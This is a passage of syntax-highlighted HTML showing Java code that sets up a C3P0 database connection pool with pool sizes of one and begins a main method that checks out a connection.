cpds</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">setAcquireIncrement</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">1</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
cpds</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">setInitialPoolSize</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">1</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
cpds</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">setMaxPoolSize</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">1</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
logger</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">debug</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"start to checkout connection from pool!"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">return</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> cpds</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">getConnection</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">();</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">}</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">public</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">static</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">void</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> main</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">String</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> args</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">[])</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">throws</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Exception</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">{</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Timer</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> timer </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">null</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">;</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Connection</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> conn </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">null</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">;</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">try</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">{</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// try C3p0</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
conn </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> getConnection</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; 